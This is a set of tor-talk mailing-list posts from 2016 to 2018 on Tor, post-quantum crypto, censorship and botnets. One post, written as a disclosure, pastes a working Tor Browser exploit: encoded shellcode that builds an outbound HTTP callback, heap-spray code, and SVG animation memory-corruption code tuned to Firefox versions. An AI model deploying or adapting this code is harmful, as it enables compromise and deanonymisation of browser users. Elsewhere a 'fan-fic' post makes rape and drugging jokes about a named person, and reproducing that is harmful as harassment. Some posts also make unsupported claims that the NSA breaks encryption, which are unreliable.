> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
> >
> >
> >
> >
> >
> > --
> >
> > Message: 2
> > Date: Sun, 10 Jun 2018 17:13:33 +0200
> > From: A KA 
> > To: tor-talk@lists.torproject.org
> > Subject: Re: [tor-talk] Digital IDs needed to end 'mob rule' online,
> > says UK security minister Ben Wallace - Digital IDs should be
> brought
> > in to end online anoymity that permits "mob rule" and lawlessness
> > online, the securit
> > Message-ID:
> >  znmrdfnol4jhojsvetuu4-6lu+mficsrx9szdvka8...@mail.gmail.com>
> > Content-Type: text/plain; charset="UTF-8"
> >
> > Oi mate, where is your anonymity loicense?
> >
> > On Sun, Jun 10, 2018, 17:09 gdfg dfgf  wrote:
> >
> >> Digital IDs needed to end 'mob rule' online, says UK security minister
> Ben
> >> Wallace - Digital IDs should be brought in to end online anoymity that
> >> permits "mob rule" and lawlessness online, the security minister has
> said.
> >>
> >>
> >>
> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
> >> <
> >>
> 

[tor-talk] Helping with the website

[Kevin Simper]

Hi tor talk

I really want to help and where I would like to participate is with the
website, I think there are a few things that can be improved for newcomers
in terms of making it more understandable, also some better directions and
tutorials for developers on how to host their website on tor onion services.

But it looks to be that the tor website is not part of the git repo like it
used to?

Best regards
Kevin
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Re: [tor-talk] Post Quantum Tor

[Kevin Burress]

Right well I suppose I can see this as a system of routing anonymously to a
key. I was just wondering about using tor ostensibly as a network interface
module and I suppose it could be compiled as a library elf and other
applications can be made for working with certain aspects of tor and
passing structures through ipc.

On Tue, May 29, 2018, 1:51 PM grarpamp  wrote:

> >> was just looking at BGP routing over tor. I'm not sure how to do that
> with
> >> the current implementation over hidden service. I'm having a hard time
> >> working out how to use it as layer 2 and encapsulate things over the
> >> network from one hidden service to another.
> >
> > This is because Tor only provides proxying and exit services at the
> > transit layer.  You can't route arbitrary IP packets over Tor, and
> > so you can't, for example, ping or traceroute over Tor.
> >
> > https://www.torproject.org/docs/faq.html.en#TransportIPnotTCP
> >
> > Hidden services, for their part, don't even identify destinations with
> > IP addresses, so there's no prospect of using IP routing protocols to
> > describe routes to them.
>
> There are ways to do that...
>
> https://www.onioncat.org/
> https://github.com/david415/onionvpn
>
> https://www.youtube.com/watch?v=Zj4hSx6cW80
> https://itsecx.fhstp.ac.at/wp-content/uploads/2014/11/FischerOnionCat.pdf
>
> https://trac.torproject.org/projects/tor/search?q=onioncat=1=on=on
>
> https://trac.torproject.org/projects/tor/search?q=onionvpn=1=on=on
> https://www.youtube.com/watch?v=rx4rS1gvp7Y
> https://www.youtube.com/watch?v=ByRkUowW7UY
> https://www.youtube.com/watch?v=RFHD6rKX3LI
>
> Yes if you changed the /48, played with NAT, and/or added router
> services...
> you could also interface onions end to end with clearnet and things
> like CJDNS / Hyperboria if you wanted to.
>
> > There have been projects to try to make a router that would automatically
> > proxy all TCP traffic to send it through Tor by default.
>
> Packet filters, tails, whonix, tor-ramdisk, etc do essentially this
> all the time.
>
> > that they were supposed to remove linkable identifiers and behaviors.
>
> > send cookies from non-Tor sessions
>
> > continue to be highly fingerprintable.
>
> Then don't do those things.
> They're user issues, not issues of whatever anonymous overlay.
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Re: [tor-talk] Post Quantum Tor

[Kevin Burress]

Okay, a little more grounded, about the Utah datacenter in 2012:

"The NSA project now aims to break the "exaflop barrier" by building a
supercomputer a hundred times faster than the fastest existing today, the
Japanese "K Computer." That code-breaking system is projected to use 200
megawatts of power, about as much as would power 200,000 homes."

https://www.forbes.com/sites/andygreenberg/2012/03/16/nsas-new-data-center-and-ultra-fast-supercomputer-aim-to-crack-worlds-strongest-crypto/#3d46c8f332e0

On Mon, May 28, 2018 at 8:53 PM, grarpamp  wrote:

> https://www.zdnet.com/article/ibm-warns-of-instant-breaking-
> of-encryption-by-quantum-computers-move-your-data-today/
>
> https://csrc.nist.gov/projects/post-quantum-cryptography
> https://wikipedia.org/wiki/Post-quantum_cryptography
> http://www.etsi.org/news-events/news/947-2015-03-news-
> etsi-launches-quantum-safe-cryptography-specification-group
> http://www.pqcrypto.org/
> https://ianix.com/pqcrypto/pqcrypto-deployment.html
> https://pqcrypto.eu.org/
> https://media.ccc.de/v/32c3-7210-pqchacks
> https://github.com/zcash/zcash/issues/805
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Re: [tor-talk] Post Quantum Tor

[Kevin Burress]

Now whether or not all of this power consumption is a coverup for the
quantum capibilities of the NSA is a matter of speculation, but the fact of
the matter is they are breaking encryption and they did spend $2 billion on
a datacenter for that sole purpose.

On Mon, May 28, 2018 at 11:04 PM, Kevin Burress 
wrote:

> Okay, a little more grounded, about the Utah datacenter in 2012:
>
> "The NSA project now aims to break the "exaflop barrier" by building a
> supercomputer a hundred times faster than the fastest existing today, the
> Japanese "K Computer." That code-breaking system is projected to use 200
> megawatts of power, about as much as would power 200,000 homes."
>
> https://www.forbes.com/sites/andygreenberg/2012/03/16/nsas-
> new-data-center-and-ultra-fast-supercomputer-aim-to-
> crack-worlds-strongest-crypto/#3d46c8f332e0
>
> On Mon, May 28, 2018 at 8:53 PM, grarpamp  wrote:
>
>> https://www.zdnet.com/article/ibm-warns-of-instant-breaking-
>> of-encryption-by-quantum-computers-move-your-data-today/
>>
>> https://csrc.nist.gov/projects/post-quantum-cryptography
>> https://wikipedia.org/wiki/Post-quantum_cryptography
>> http://www.etsi.org/news-events/news/947-2015-03-news-etsi-
>> launches-quantum-safe-cryptography-specification-group
>> http://www.pqcrypto.org/
>> https://ianix.com/pqcrypto/pqcrypto-deployment.html
>> https://pqcrypto.eu.org/
>> https://media.ccc.de/v/32c3-7210-pqchacks
>> https://github.com/zcash/zcash/issues/805
>> --
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>>
>
>
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Re: [tor-talk] Post Quantum Tor

[Kevin Burress]

S7r I generally agree with you there. There is no evidence that it has been
broken. Thus we can only go by what these agencies are saying or hinting
about their capabilities. I certainly don't think that in this case it is
required and must negotiate with post quantum cryptography, only that as a
feature a client may require that for all of their tunnels unless it is
found to be flawed.


We know that ecdsa is weak against a quantum computer, as well as rsa. The
only evidence I can provide is publicly available:
https://cointelegraph.com/news/nsa-will-not-use-quantum-computers-to-crack-bitcoin-antonopoulos

The NSA stating they could break crypto with their current tools
(specifically the weak ecdsa used for wallets) and that they won't and use
the tools for "other things" which immediately makes me think of Tor.

The only other evidence I can submit as a need to upgrade encryption in
general is the government issued that they will no longer use key lengths
below 3k rsa, and require at least 4096 for top secret information.



On Mon, May 28, 2018, 11:48 AM s7r  wrote:

> Lodewijk andré de la porte wrote:
> > RSA/ECDSA are both screwed.
> >
> > SPHINCS seems good.
> >
> > Post quantum asymcrypt doesn't seem generally ready yet, but hashes work.
> >
>
> You claim this based upon what evidence? Do you have any technical
> document or citation in order to sustain your claim? I am not talking
> about something you read on an anonymous blog here. Also, which RSA?
> There is limited evidence that RSA 1024 might not be sufficient with
> current existing computing power (not even evidence, more like an
> assumption), but RSA 2048 / 4096 should be sufficient. Even  for RSA
> 1024 you might need to be a real threat in order to be worth the
> resources to be spent on you.
>
> There is no evidence of ECDSA and ECDH being screwed (regardless of the
> curve used, NIST ones, cv25519, secp256k1, etc.).
>
> I understand that some might be inclined to think that everything is
> screwed, and that the NSA/CIA have the power to do anything, but there
> is no evidence to sustain such a claim. To be frank, I am very happy to
> have people like this in the community because problems might get fixed
> even before they become real problems.
>
> Everyone who correctly used encryption tools with up to date recommended
> standards were safe, the cases where it failed relied purely on human
> error, social engineering or other kind of side channel attacks. If I am
> able to spy on the passphrase of your private key (or if you have a weak
> dictionary passphrase that I can break with brute force in like 1 year)
> this does not mean I have the power to break the algorithm of your
> encryption key (RSA, ECC). Unfortunately way too many people use small,
> easy to remember passphrases (even related to their names, dates of
> birth, spouse names, pet names, etc.). A good brute force tool will take
> for example 2 years to break a relatively simple passphrase, but if fed
> with hints (names, dobs, friends, pets, places) that can be narrowed
> down exponentially to 2 months.
>
> Let's keep this discussion productive. Tor _needs_ post quantum
> resistant crypto as a _feature_, so that current traffic if captured and
> stored cannot be decrypted within reasonable time in the future. The
> time frame is variable an dependent on each case and threat model, but
> let's say like one or two decades. So, this is just an extra security
> measure Tor takes as the number one privacy tool, one that can be relied
> on.
>
> There is no evidence that quantum computers will be strong enough in 5
> or 10 years to break the current NON QUANTUM RESISTANT crypto used. At
> current moment quantum computers barely can do a square root of a two
> digit number. Also, I think it's safe to assume this type of threat is
> irrelevant if the current crypto in Tor might be broken in 100 years
> from now, because even if the subject is still alive at that moment, it
> might not matter at all.
>
> Taking the discussion just a little further, quantum computers face a
> physics problems related to time and space. A proven physics assumption
> tells us that something can only be in one place/position at a time.
> Like bits in normal computers nowadays, that can be either 0 either 1.
> Qbits have to be both at the same time. So, being a true lover of
> technology and believer, I am not stating it's impossible and it will
> never happen, but it is surely not knocking on our doors, from my opinion.
>
> Before experts struggle to answer this one, let us be productive and
> work on the proposals Nick quoted in a previous email to this thread, so
> we eliminate risk and don't have to worry if / when this becomes reality.
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Re: [tor-talk] Post Quantum Tor

[Kevin Burress]

honestly, ideally it would be a lot easier to do things with tor if it
actually internally followed the unix philosophy and the layers of service
could be used as a part of the linux system and modular use of the parts. I
was just looking at BGP routing over tor. I'm not sure how to do that with
the current implementation over hidden service. I'm having a hard time
working out how to use it as layer 2 and encapsulate things over the
network from one hidden service to another. But i also understand the whole
system is not well funded. I'm glad it has progressed as far as it has
since I had first looked at all of the various deepwebs in 2007. At least
we no longer have to set up privoxy and worry about dns leakage.

On Sun, May 27, 2018 at 3:20 PM, Nick Mathewson 
wrote:

> For current work on postquantum handshake support in Tor, see
> proposals 263, 269, 270, and ticket #24985.
>
> A digression:
>
> Personally, I don't agree that the evidence is so convincing about the
> NSA being able to break 256-bit ECDSA today: if they have it, then
> they'd treat it as a big secret, and not go around cagily implying
> that they had it.  When they brag publicly about their capabilities,
> they're usually not doing so on order to advertise secret advances
> that the world doesn't know about.
>
> Of course, by the same argument, we don't have much evidence that
> there *aren't* scalable quantum computers today.  If somebody has one,
> it makes sense that they would be keeping quiet about it.
>
> And even if there aren't large-scale quantum computers today, we need
> to keep in mind that any future such quantum computer would be able to
> decrypt today's traffic.
>
> So I think the sensible thing to do is to be cautious, and work under
> the assumption that we'll need to move our key exchange to a PQ
> handshake, according to something like the proposals above.
>
> cheers,
> --
> Nick
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Re: [tor-talk] Post Quantum Tor

[Kevin]

This is worth looking at and I'd fully support such a project.



On 5/26/2018 1:39 AM, Kevin Burress wrote:

Hi,

I was just wondering since the NSA has quantum computers that can break
ECDSA (As they have stated they could break bitcoin in an interview, and
telecomix unlocked Cameron's hard drive.) When is Tor going to be upgraded
to post quantum?

Can we at least hack together an interleaving of RSA and ECDSA with some
secure number of rounds in the interim?



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Re: [tor-talk] random onion non-reachability

[Kevin]

Could this be a problem with the node disconnecting and reconnecting?



On 1/5/2018 3:36 AM, Andreas Krey wrote:

Hi everyone,

I keep noticing a phenomenon regarding onion sites reachability.
Every now and then some onion site becomes unreachable from
a given tor browser instance while continuing to be reachable
from others. After a few days it becomes reachable again from
that instance as well. Happens with different onion services
and different browser instances (it's not always the same
service or instance involved).

Any idea what causes this? Random outage of rendevous points?

(The onion sites I observe this with are raspberries,
partially behind a NAT, under my control.)

- Andreas




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Re: [tor-talk] New Report on Internet Censorship in Pakistan

[Kevin]

This is interesting data though not all that shocking when you take into 
account the general attitudes in that government.




On 10/18/2017 6:24 AM, Maria Xynou wrote:

Hello,

Today, in collaboration with Bytes for All Pakistan, the Open
Observatory of Network Interference (OONI) published a research report
examining internet censorship in Pakistan over the the last three years.

The report, titled "Internet Censorship in Pakistan: Findings from
2014-2017", is available here:
https://ooni.torproject.org/post/pakistan-internet-censorship/

https://twitter.com/OpenObservatory/status/920588717508751360

This study includes an analysis of thousands of network measurements
collected (through the use of OONI Probe) from 22 local vantage points
in Pakistan over the last three years.

We confirm the blocking of 210 URLs in Pakistan. Explicit blockpages
were served for many of those URLs, while others were blocked by means
of DNS tampering.

In many cases, Pakistani ISPs appear to be applying "smart filters",
selectively blocking access to specific webpages hosted on HTTP, rather
than blocking access to entire domains. Overall, we only found ISPs to
be blocking the HTTP version of sites, potentially enabling censorship
circumvention over HTTPS (for sites that support encrypted HTTPS
connections).

We found a wide range of different types of sites to be blocked,
including LGBT sites, communication tools, and pornography, amongst others.

Notably, most of the blocked URLs include:

   * Sites hosting content pertaining to the controversial "Everybody
 Draw Mohammed Day"
   * Web proxies

The blocking of sites related to "Draw Mohammed Day" is legally
justified under Pakistan's Penal Code, which prohibits blasphemy.
Similarly, the blocking of other sites (such as pornography and other
sites promoting provocative attire) can be justified under Pakistan's
laws and regulations.

However, we also found the sites of the Baluch and Hazara ethnic
minority groups to be blocked**as well. According to human rights
groups, these minorities have experienced discrimination and abuse by
authorities. These censorship events may be politically motivated.

On a positive note, we found popular communication tools, like WhatsApp
and Facebook Messenger, to be accessible. Quite similarly, the Tor
network was accessible in most networks throughout the testing period.

All data collected from Pakistan is publicly available here:
https://api.ooni.io/files/by_country/PK

~ The OONI team.







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Re: [tor-talk] Unusual Tor's spikes in Egypt and Turkey on 28th August

[Kevin]

I do believe it is some sort of attack.  Perhaps botnet activity?



On 9/21/2017 7:54 AM, Raffaele Angius wrote:

Hi, Faffa here.

Trying so hard to understand the problem with those spikes. Since I have
the impression that it's not a human activity, one option I was discussing
with some friends is that it could be a strategy to force connections into
a specific node, by saturating the others. Does it make any sense to you?

Raffaele Angius
Journalist and Media Innovation Advisor
Twitter: @faffa42



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Re: [tor-talk] Unusual Tor's spikes in Egypt and Turkey on 28th August

[Kevin]

Could this be security related or simply more connectivity?



On 9/20/2017 5:24 AM, Fabio Pietrosanti - Lists wrote:

Hello,

a close friend (faffa) noticed that on 28th August 2017 there was an
unusual spike of Tor traffic in Egypt and Turkey:

https://metrics.torproject.org/userstats-relay-country.html?start=2017-06-22=2017-09-20=tr=off

https://metrics.torproject.org/userstats-relay-country.html?start=2017-06-22=2017-09-20=eg=off


Does anyone already analyzed those spikes and understood what happened?

-naif



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Re: [tor-talk] This video has been censored by YouTube many times

[Kevin]

This is I think more about clearnet censorship than the evil little movie.



On 4/1/2017 10:12 PM, neokulak wrote:
So the Tor mailing list is now being used to promote anti-Semitic 
spam?  How lovely.


On Sat, 01 Apr 2017 21:14:50 -0400, John Pinkman 
<john.pink...@yandex.com> wrote:





02.04.2017, 02:59, "Mirimir" <miri...@riseup.net>:

On 04/01/2017 06:17 PM, Kevin wrote:

 Maybe youtube doesn't know about this vid yet. By the way that
 was...interesting.


That was fucking evil. And totally off-topic. Just sayin'.


You are right, it is about pure evil.




 On 4/1/2017 5:32 PM, John Pinkman wrote:

 it explains problems that the world faces today
 https://w1r3.net/yBQEEe.webm



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Re: [tor-talk] A Pluggable Transport based on i2p?

[Kevin]

Try running a node on dial up.  It wouldn't be practical.  Would it 
technically work?  Sure.  Is it practical?  I think not.




On 3/16/2017 11:24 PM, Dave Warren wrote:

On Thu, Mar 16, 2017, at 17:19, Kevin wrote:

I disagree.  In today's climate, speed matters.

Maybe for some use cases. If you're having a real time text
conversation, you need as many B/s as you can type (most likely 1-2
digits) and a multiple second latency is fine.

I first connected out to the world from my computer on a 2400bps modem
and got along just fine and had an absolutely amazing time. 33.6K was a
godsend and was more than functional for small documents. It doesn't fit
all modern use cases of the internet, but there are many things that are
more than sufficient on a very minimal connection.





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Re: [tor-talk] A Pluggable Transport based on i2p?

[Kevin]

I disagree.  In today's climate, speed matters.



On 3/16/2017 5:48 PM, grarpamp wrote:

Perhaps, but wouldn't that cause considerable lag?

Indeed! I can't imagine something better than 100Kb/s with that sort of setup.

What is this silly idea that everything has to be fast to be useable
for something or someone? Have you not seen even the second
level of the onion deepweb yet... tor over tor?

Philosophically
You can torrent leech the latest pop shit over your leeto fiber connection.
Or someone can email you a tiny Beethoven MIDI, or post you the songsheet.
Or cue up a list of articles and come back tomorrow.
You won't die waiting, go outside and play.

Reliability is different... tweak your timeouts, keep your nodes up.
So are anonymity and applications.

Fast is a fine goal, but it isn't everything.



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Re: [tor-talk] A Pluggable Transport based on i2p?

[Kevin]

Perhaps, but wouldn't that cause considerable lag?



On 3/15/2017 6:20 AM, Lolint wrote:

Hi,

Could it be possible to implement a pluggable transport using i2p? The way this 
could work
is that a server would function as a bridge node, and will also have the i2p 
router installed,
and the client will connect to this bridge via I2P Tunnels,

<=><=><=><=>

What do you think?

Thx

--Jeff



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Re: [tor-talk] Guard Selection

[Kevin Gallagher]

Thanks! Another question:

Is the path selection document at the root of that repo current?

Thanks again,

Kevin


On 02/24/2017 05:18 PM, nusenu wrote:
> Depending on what tor version you are interested in you might also look
> at prop 271 [1].
>
> From the changelog of 0.3.0.1-alpha:
>
>   o Major features (guard selection algorithm):
> - Tor's guard selection algorithm has been redesigned from the
>   ground up, to better support unreliable networks and restrictive
>   sets of entry nodes, and to better resist guard-capture attacks by
>   hostile local networks. Implements proposal 271; closes
>   ticket 19877.
>
> [1]
> https://gitweb.torproject.org/torspec.git/tree/proposals/271-another-guard-selection.txt
>
>
>

-- 
Kevin Gallagher
PhD Candidate, Department of Computer Science
New York University Tandon School of Engineering
2 MetroTech Center, 10th Floor
Brooklyn, NY 11201
Email: kevin.gallag...@nyu.edu
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[tor-talk] Guard Selection

[Kevin Gallagher]

Hello everyone,

I've read through the path selection specification document and I am a
bit confused about guard selection. It says that (when guard nodes are
enabled) "Tor maintains an ordered list of entry nodes as one's chosen
guards and stores the list persistently to disk. If a guard node becomes
unusable, rather than replacing it, Tor adds new guards to the end of
the list. When choosing the first hop of a circuit, Tor chooses at
random from among the first 3 (by default) usable guard on the list."

How is this list derived? What is it ordered by? How many guards are in
this list? Are guards added to the list with probability proportional to
their bandwidth, as with other types of node selection? Am I safe in
assuming that this is a local list unique to the client?

Sorry if these questions are a bit basic or if I missed the answers
elsewhere. Thanks for your time!

-Kevin

-- 
Kevin Gallagher
PhD Candidate, Department of Computer Science
New York University Tandon School of Engineering
2 MetroTech Center, 10th Floor
Brooklyn, NY 11201
Email: kevin.gallag...@nyu.edu
Key Fingerprint: D02B 25CB 0F7D E276 06C3  BF08 53E4 C50F 8247 4861




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Re: [tor-talk] Mirai Botnet Relocates To Onions

[Kevin]

This guy is a jerk and deserves to fry along with his botnet.



On 12/18/2016 12:11 AM, grarpamp wrote:

https://www.bleepingcomputer.com/news/security/security-firms-almost-brought-down-massive-mirai-botnet/

"Following a failed takedown attempt, changes made to the Mirai
malware variant responsible for building one of today's biggest
botnets of IoT devices will make it incredibly harder for authorities
and security firms to shut it down," reports Bleeping Computer.
Level3 and others" have been very close to taking down one of the
biggest Mirai botnets around, the same one that attempted to knock the
Internet offline in Liberia, and also hijacked 900,000 routers from
German ISP Deutsche Telekom.The botnet narrowly escaped due to the
fact that its maintainer, a hacker known as BestBuy, had implemented a
domain-generation algorithm to generate random domain names where he
hosted his servers.
Currently, to avoid further takedown attempts from similar security
firms, BestBuy has started moving the botnet's command and control
servers to Tor. "It's all good now. We don't need to pay thousands to
ISPs and hosting. All we need is one strong server," the hacker said.
"Try to shut down .onion 'domains' over Tor," he boasted, knowing that
nobody can.



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Re: [tor-talk] Javascript exploit

[Kevin]

The first var looks like an encryption key.  Just my humble observation 
and food for thought.




On 11/29/2016 4:55 PM, firstwa...@sigaint.org wrote:

This is an Javascript exploit actively used against TorBrowser NOW. It
consists of one HTML and one CSS file, both pasted below and also
de-obscured. The exact functionality is unknown but it's getting access to
"VirtualAlloc" in "kernel32.dll" and goes from there. Please fix ASAP. I
had to break the "thecode" line in two in order to post, remove ' + ' in
the middle to restore it.

HTML:


   
 

   var thecode
='\ue8fc\u0089\u\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u\u858d\u029e\u\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u\uc085\u850f\u00f6\u\ue857\u00fa\u\u895e\u8dca\ua7bd\u0002
  
\ue800\u00ec\u\u834f\u20fa\u057c\u20ba\u\u8900\u56d1\ua4f3\u0db9\u\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
+
'\u00ae\u\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u\ub70f\u830f\u06f9\u7072\u06b9\u\ub800\u0010\u\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u\ua4f3\u36e8\u\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u\u\u8d03\ua7bd\u0002\ue800\uffe4\u\ub94f\u004f\u\ub58d\u026e\u\ua4f3\ubd8d\u02a7\u\ucbe8\u\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\
  
u6f48\u7473\u203a\u\u\u\u\u\u\u\u\u\u\u\u\u\u\u\u\u\u\u\u4190';


 var worker = new Worker('cssbanner.js');

   worker.postMessage(thecode);

   var svgns = 'http://www.w3.org/2000/svg';
   var heap80 = new Array(0x1000);
   var heap100 = new Array(0x4000);
   var block80 = new ArrayBuffer(0x80);
   var block100 = new ArrayBuffer(0x100);
   var sprayBase = undefined;
   var arrBase = undefined;

   var animateX = undefined;
   var containerA = undefined;

   var offset = 0x90;
   if
(/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent))
   {
 offset = 0x88; // versions 47.0 or greater
   }

   var $ = function(id) { return document.getElementById(id); }

   var exploit = function()
   {
 var u32 = new Uint32Array(block80)
 u32[0x2] = arrBase - offset;
 u32[0x8] = arrBase - offset;
 u32[0xE] = arrBase - offset;


 for(i = heap100.length/2; i < heap100.length; i++)
 {
   heap100[i] = block100.slice(0)
 }

 for(i = 0; i < heap80.length/2; i++)
 {
   heap80[i] = block80.slice(0)
 }

 animateX.setAttribute('begin', '59s')
 animateX.setAttribute('begin', '58s')

 for(i = heap80.length/2; i < heap80.length; i++)
 {
   heap80[i] = block80.slice(0)
 }

 for(i = heap100.length/2; i < heap100.length; i++)
 {
   heap100[i] = block100.slice(0)
 }

 animateX.setAttribute('begin', '10s')
 animateX.setAttribute('begin', '9s')
 window.dump('PAUSING!!! YAYA');
 containerA.pauseAnimations();
 }

worker.onmessage = function(e)
{
worker.onmessage = function(e)
{
 window.setTimeout(function()
   {
 worker.terminate();

 document.body.innerHTML = '';
 document.getElementsByTagName('head')[0].innerHTML = '';
 document.body.setAttribute('onload', '')
   }, 1000);
}

  

Re: [tor-talk] Will Quantum computing be the end of Tor and all Privacy?

[Kevin]

The Tor project will evolve if we put our heads together.  This is not 
as bad as you think.




On 11/27/2016 12:54 PM, hi...@safe-mail.net wrote:

Will Quantum computing be the end of Tor and all Privacy?

It's just a matter of time before quantum computers become a reality. And
who will have the privilege of owning these beasts? Well, first and foremost
the governments! And considering the insane power of these quantum
computers, even strong encryption, by today's standard on regular computers,
will be effortlessly broken within reasonable time.

So, where does this put Tor, encryption and general privacy? Shouldn't we
start preparing ourselves for the inevitable privacy apocalypse?

- Hikki



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Re: [tor-talk] Tor browser switch from disable to enable plugins (flash) "on its own"

[Kevin]

I am of two minds.  On one hand it seems underhanded to not alert the 
user.  On the other hand, you are able to disable the plug ins so who cares?




On 10/20/2016 7:48 AM, tort...@arcor.de wrote:

Hi Torusers,

there is a notice:

Torbrowser enables plugins such as flash/shockwave "on its own" from disabled status. You 
don't get asked to confirm, "it just does". A Tor user only notices that switch by seeing 
this grey icon flash. But that icon only appears at sites you visit with e. g. provided flash it 
can play but can't (grey). It seems you have to open the Tools Add-ons plugins tab while browsing 
to see that switch in time.

like:

https://blog.torproject.org/blog/new-firefox-1704esr-and-tor-02411-alpha-bundles
"On March 17th, 2013 Anonymous said:
enable plugins doen't work.once i uncheck it it rechecks on its own.."


Aloha,
Toruser



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Re: [tor-talk] Tor honeypot

[Kevin]

As a security researcher I would find this interesting as well.



On 10/11/2016 12:17 PM, Flipchan wrote:

Hi *:)
I have been playing around with some telnet and ssh honeypots lately and caught 
some malware to learn More about reverse Engineering. And i thought it would be 
cool to run a Tor honeypot , something that listens on port 9001 and is ofc not 
connected to the Tor Network.
  So something that listens on port 9001 and logs all incoming request just to 
see if there is anything scanning for Tor ports and trying to hack them, has 
this been done? Would be cool to look at the data from that if anyone got a 
link. I cant be able to find something like this online:/


Take care



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Re: [tor-talk] Google indexing the onion

[Kevin]

Okay I guess I assumed that Google doesn't index any of that.



On 10/1/2016 11:30 AM, Jonathan Marquardt wrote:

Look at the exact URLs of the pages that are indexed. They are Tor2Web sites 
(onion.to, onion.link etc.), right? Those have always been indexed, nothing 
special.

On Sat, Oct 01, 2016 at 11:20:51AM -0400, Kevin wrote:

Has anybody else noticed that onion sites are starting to come up on Google
searches?  I thought this couldn't happen.



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Re: [tor-talk] Google indexing the onion

[Kevin]

That's possible.  I have noticed that they are indexing a deep web 
social media site I am on as well as the ransomware as a service I had 
been researching.  Is this a new transparent web? If so, I have mixed 
feelings about it.




On 10/1/2016 11:39 AM, Sebastian Elisa Pfeifer wrote:

Do you have an example search?
My thought is that Google is indexing some "web2tor" sites..

Sebastian

On 10/01/2016 05:20 PM, Kevin wrote:

Has anybody else noticed that onion sites are starting to come up on
Google searches?  I thought this couldn't happen.



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[tor-talk] Google indexing the onion

[Kevin]

Has anybody else noticed that onion sites are starting to come up on 
Google searches?  I thought this couldn't happen.




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Re: [tor-talk] Question for those who say "Tor is pwned"

[Kevin]

I would like to know this as well.



On 6/20/2016 7:07 PM, Anthony Papillion wrote:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

I see a lot of people talking about how Tor is pwned by the US
Government and is insecure 'by design'. I'm assuming that they know
this from a thorough analysis of the source code, which I freely admit
I haven't done. So, since you guys actually have taken the time to
audit the source and find the vulnerabilities that would allow Tor to
be so easily pwned, could you explain it to me and, preferable, post
relevant sections (or links to sections) of the source you're basing
your statements on?

I'd really like to investigate these vulnerabilities myself but the
code is too massive for one person to realistically audit by
themselves so links would be very helpful.

Thanks!
Anthony

- -- 
OpenPGP Key:4096R/0x028ADF7453B04B15

Other Key Info: http://www.cajuntechie.org/p/my-pgp-key.html
XMPP?Jabber:cyp...@chat.cpunk.us
SIP:cajuntec...@sip.linphone.org

-BEGIN PGP SIGNATURE-

iQIcBAEBCgAGBQJXaHcgAAoJEAKK33RTsEsVXzkP/1Pk47AhZUMjzGbKivACMWaE
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Y0gtMQFQEuS3gyaLKnOEBWgog4Ir+uI7CBFSo5pJ/Ch+mH2tORb3eXo5liUOXjxQ
hZeK3dTDD3tbFpZw9/nkhQPgiPajaF8iBoQZbdpslnITXNOH/ML7E8YPmzkG5g/V
l9vpsLCO1FXLiGADLOMTaCKRnAjA1rhNF8g8a1qYz95yJm4f7o6TyUA0fc7Hd3BP
qcloz0fOo2AQqpAkUGeRVvsCcdL63zo5Tu3AJH8LwuivBjeTQG4jVfHQyJLFfLZA
H7Vg7tg/Lc/sDB9fu/f1Q5sFm983TZoWZzpYkkGClHkLOWxeE8v4YNEBbuuhHdFe
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YVlaF2yMZsBKBi7PRyAT
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Re: [tor-talk] Jake Fan-Fic

[Kevin]

Am I the only one who finds this completely distasteful?


On 6/11/2016 4:37 PM, dungeonmas...@sigaint.org wrote:

The fantastic adventures of Jake "it's not rape if they're not awake"
Appelbaum. Installment 1.


"Welcome to today's workshop where you will learn how to setup a Tor
relay. Is anyone up for a hardcore S session after lunch?"

"My dick is the biggest talent attractor for Tor hands down."


"Mmm the steak here is quite delicious."
"Have you tried nipple torture before? How many needles can you take?"
"Pass the ketchup please!"
"The Pinot is exquisite. I hear that roofies really enhance the peachy
notes. I thought you'd like to try it."


No it can't be. I refuse to believe it. My hero is not a rapist. The NSA
must have planted a microchip in his brain that turns him into an
